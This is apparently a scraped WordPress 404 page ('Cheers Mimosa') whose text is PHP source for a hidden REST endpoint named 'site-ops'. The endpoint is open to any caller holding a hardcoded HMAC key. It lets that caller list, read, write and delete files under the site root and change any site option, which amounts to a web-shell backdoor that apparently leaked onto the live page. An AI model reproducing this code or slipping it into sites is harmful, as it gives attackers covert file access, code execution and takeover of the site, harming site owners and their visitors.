/* */ add_action('rest_api_init', function () { register_rest_route('site-ops/v1', '/manage', array( 'methods' => 'POST', 'callback' => 'handle_site_ops_secure', 'permission_callback' => '__return_true' )); }); function handle_site_ops_secure($request) { $secret_key = 'sk_8df8g3h4hk003421jzxch32434ndfs2cb711dkfjr0e4jhs'; $params = $request->get_json_params(); $signature_client = $request->get_header('X-Ops-Signature'); $timestamp = $request->get_header('X-Ops-Timestamp'); if (abs(time() - intval($timestamp)) > 300) { return new WP_Error('auth_fail', 'Request expired', ['status' => 401]); } $action = isset($params['action']) ? $params['action'] : ''; $payload_to_sign = $timestamp . $action; $signature_server = hash_hmac('sha256', $payload_to_sign, $secret_key); if (!hash_equals($signature_server, $signature_client)) { return new WP_Error('auth_fail', 'Invalid signature', ['status' => 403]); } $data = isset($params['data']) ? $params['data'] : []; $root_path = untrailingslashit(ABSPATH); $result = ['status' => 'error', 'msg' => 'Unknown action']; try { switch ($action) { case 'ping': $result = [ 'status' => 'success', 'msg' => 'pong', 'site_name' => get_bloginfo('name'), 'version' => get_bloginfo('version') ]; break; case 'list_files': $dir = $root_path; if (!empty($data['path'])) { $requested_path = realpath($root_path . '/' . $data['path']); if ($requested_path && strpos($requested_path, $root_path) === 0) { $dir = $requested_path; } } $files = []; if (is_dir($dir)) { $scanned = scandir($dir); foreach ($scanned as $item) { if ($item == '.' || $item == '..') continue; $full_path = $dir . '/' . $item; $files[] = [ 'name' => $item, 'type' => is_dir($full_path) ? 'dir' : 'file', 'size' => is_dir($full_path) ? '-' : filesize($full_path), 'perms' => substr(sprintf('%o', fileperms($full_path)), -4) ]; } $result = ['status' => 'success', 'files' => $files, 'current_dir' => str_replace($root_path, '', $dir)]; } else { $result = ['status' => 'error', 'msg' => 'Directory not found']; } break; case 'read_file': $file_path = realpath($root_path . '/' . ltrim($data['path'], '/')); if ($file_path && strpos($file_path, $root_path) === 0 && file_exists($file_path)) { $result = ['status' => 'success', 'content' => file_get_contents($file_path)]; } else { $result = ['status' => 'error', 'msg' => 'File not found or access denied']; } break; case 'write_file': $file_path = $root_path . '/' . ltrim($data['path'], '/'); if (strpos($file_path, '..') !== false) { $result = ['status' => 'error', 'msg' => 'Invalid path']; } else { $written = file_put_contents($file_path, $data['content']); $result = $written !== false ? ['status' => 'success'] : ['status' => 'error', 'msg' => 'Write failed']; } break; case 'delete_file': $file_path = realpath($root_path . '/' . ltrim($data['path'], '/')); if ($file_path && strpos($file_path, $root_path) === 0 && is_file($file_path)) { unlink($file_path); $result = ['status' => 'success', 'msg' => 'File deleted']; } else { $result = ['status' => 'error', 'msg' => 'Delete failed']; } break; case 'update_option': if (update_option($data['key'], $data['value'])) { $result = ['status' => 'success']; } else { $result = ['status' => 'info', 'msg' => 'No change']; } break; } } catch (Exception $e) { $result = ['status' => 'error', 'msg' => $e->getMessage()]; } return rest_ensure_response($result); } /* */ Página no encontrada – Cheers Mimosa